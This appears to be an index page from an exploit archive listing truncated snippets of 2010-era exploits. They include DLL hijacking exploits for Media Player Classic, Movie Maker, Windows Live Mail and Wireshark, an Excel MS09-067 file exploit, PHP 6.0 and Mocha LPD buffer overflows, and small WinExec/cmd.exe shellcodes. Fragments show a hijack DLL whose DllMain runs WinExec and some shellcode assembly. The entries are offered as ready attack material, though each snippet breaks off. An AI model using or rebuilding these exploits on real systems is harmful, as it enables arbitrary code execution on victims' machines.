Media Player Classic 1.3.2189.0 - 'iacenc.dll' DLL Hijacking

/ Mediaplayer Classic 1.3.2189.0 Dll Hijack Exploit By: Encrypt3d.M!nd Date: 25\8\2010 Download: http://mpc-hc.sourceforge.net/ Details: Compile the following code and rename it to iacenc.dll and place file with one of the affected types in the same directory of the dll Affected types: m2ts, m2t,...

Mircosoft Windows Program Group DLL Hijacking Exploit

Exploit for windows platform in category local exploits ===================================================== Mircosoft Windows Program Group DLL Hijacking Exploit ===================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 ...

Microsoft Vista - 'fveapi.dll' BitLocker Drive Encryption API Hijacking

Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora / Exploit Title: Microsoft Vista BitLocker Drive Encryption API Hijacking Exploit Date: 25/08/2010 Author: Beenu Arora Tested on: Windows XP SP3 Vulnerable extensions: .wbcat Compile and rename to fveapi.dll,...

Microsoft Windows Movie Maker 2.6.4038.0 - hhctrl.ocx DLL Hijacking

Microsoft Windows Movie Maker 2.6.4038.0 - hhctrl.ocx DLL Hijacking / Exploit Title: Microsoft Windows Movie Maker define DLLIMPORT declspec dllexport int evil WinExec"calc", 0; exit0; return 0; BOOL WINAPI DllMainHINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved evil; return 0;...

Microsoft Windows Live Email - 'dwmapi.dll' DLL Hijacking

/ Exploit Title: Windows Live Email DLL Hijacking Exploit dwmapi.dll Date: 24/08/2010 Author: Nicolas Krassas http://twitter.com/Dinosn Version: Latest windows live suite Tested on: Windows XP SP3 The code is based on the exploit from "TheLeader" Vulnerable extensions: .eml .nws .rss / include...

Microsoft Windows Live Email - dwmapi.dll DLL Hijacking

Microsoft Windows Live Email - dwmapi.dll DLL Hijacking / Exploit Title: Windows Live Email DLL Hijacking Exploit dwmapi.dll Date: 24/08/2010 Author: Nicolas Krassas http://twitter.com/Dinosn Version: Latest windows live suite Tested on: Windows XP SP3 The code is based on the exploit from...

Wireshark 1.2.10 - airpcap.dll DLL Hijacking

Wireshark 1.2.10 - airpcap.dll DLL Hijacking / Exploit Title: Wireshark define DLLIMPORT declspec dllexport DLLIMPORT void AirpcapGetDeviceList evil; DLLIMPORT void AirpcapFreeDeviceList evil; DLLIMPORT void AirpcapOpen evil; DLLIMPORT void AirpcapClose evil; DLLIMPORT void AirpcapGetLinkType evi...

Microsoft Excel - FEATHEADER Record (MS09-067)

MS Excel Malformed FEATHEADER Record Exploit CVE-2009-3129, MS09-067, OSVDB-59860 Vulnerble application MS office 2003/2007 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Sean Larsson - Original Discovery !/usr/bin/python import sys import zlib Allwin WinExec cmd.exe + ExitProcess Shellcode - 1...

Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes

Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes. Shellcode exploit for windows platform / Title: Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes Date: 2010-06-25 Author: RubberDuck Web: http://bflow.security-portal.cz Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG 3...

Mocha LPD 1.9 - Remote Buffer Overflow (Denial of Service) (PoC)

!/usr/bin/python Mocha LPD v1.9 Remote Heap Overflow Exploit ol skool 'write 4' whoops, I said it was a DoS. My bad. btw yes, I know its 2010 :0 CVE: 2010-1687 tested on XP sp1 use anti debugging to see it work - !hidedebug zwqueryinformationprocess call trace: ntdll.RtlAllocateHeap Called...

PHP str_transliterate()函数Unicode字符远程溢出漏洞

BUGTRAQ ID: 39185 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 远程攻击者可以通过向PHP的strtransliterate函数提交超长的Unicode字符串请求触发缓冲区溢出，导致执行任意代码。成功利用这个漏洞要求配置中打开了unicode.semantics。 PHP 6.0 dev 厂商补丁： PHP --- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.php.net view sourceprint??php errorreporting0; PHP 6....

PHP 6.0 Dev str_transliterate() Buffer Overflow

Exploit Title: PHP 6.0 Dev strtransliterate 0Day Buffer Overflow Exploit Date: 2010-04-04 Author: Pr0T3cT10n Software Link: http://downloads.sourceforge.net/project/wampserver/WampServer%202%20-%20Extensions/PHP/WampServer2-PHP6.0dev.exe?usemirror=garr Version: 6.0 Dev Tested on: WIN XP HEB SP3...

PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit

Exploit for windows platform in category remote exploits ============================================================ PHP 6.0 Dev strtransliterate 0Day Buffer Overflow Exploit ============================================================ Exploited by TheLeader, Debug SP. Thanks: HDM...

PHP 6.0 Dev - 'str_transliterate()' Local Buffer Overflow

Exploited by TheLeader, Debug SP. Thanks: HDM http://www.nullbyte.org.il This code should exploits a buffer overflow in the strtransliterate function to call WinExec and execute CALC Take a look, 'unicode.semantics' has to be on! php.ini unicode.semantics = on ifinigetbool'unicode.semantics' $buf...

PHP 6.0 Dev - str_transliterate() Local Buffer Overflow

PHP 6.0 Dev - strtransliterate Local Buffer Overflow Exploited by TheLeader, Debug SP. Thanks: HDM http://www.nullbyte.org.il This code should exploits a buffer overflow in the strtransliterate function to call WinExec and execute CALC Take a look, 'unicode.semantics' has to be on! php.ini...

win32/xp sp3 (Ru) WinExec+ExitProcess cmd shellcode 12 bytes

Exploit for win32 platform in category shellcode ============================================================ win32/xp sp3 Ru WinExec+ExitProcess cmd shellcode 12 bytes ============================================================ Thanks to last cotribution to inj3ct0r.com WinExec+ExitProcess in 1...

win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes

Exploit for win32 platform in category shellcode ========================================================== win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes ========================================================== Title: Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes ;Test...

Win32 Mini HardCode WinExec&ExitProcess; Shellcode 16 bytes

Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes. Shellcode exploit for windows platform Title: Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes ;Test on xpsp2cn,no zero in shellcode,it will run write.exe ;--------------------------------------------- push 7C808E9DH ;write ;68...

WinMount 3.4.1020 Final Commandline Vulnerability

Exploit for windows platform in category local exploits ================================================= WinMount 3.4.1020 Final Commandline Vulnerability ================================================= Exploit Title : Commandline vulnerability Date : 27 Oct 2010 Author : STRELiTZIA Software :...

win32/xp sp2 (En + Ar) cmd.exe 23 bytes

No description provided by source. / win32/xp sp2 En + Ar cmd.exe 23 bytes Author : AnTi SeCuRe TeaM : SauDi ViRuS TeaM Email : [email protected] Site : WwW.VxX9.Cc Thx To : Stack , SauDi ViRuS TeaM RENO - Dr.php - ! BaD BoY ! - Jetli007 - Gov.hacker Description : It's a 23 Byte Shellcode...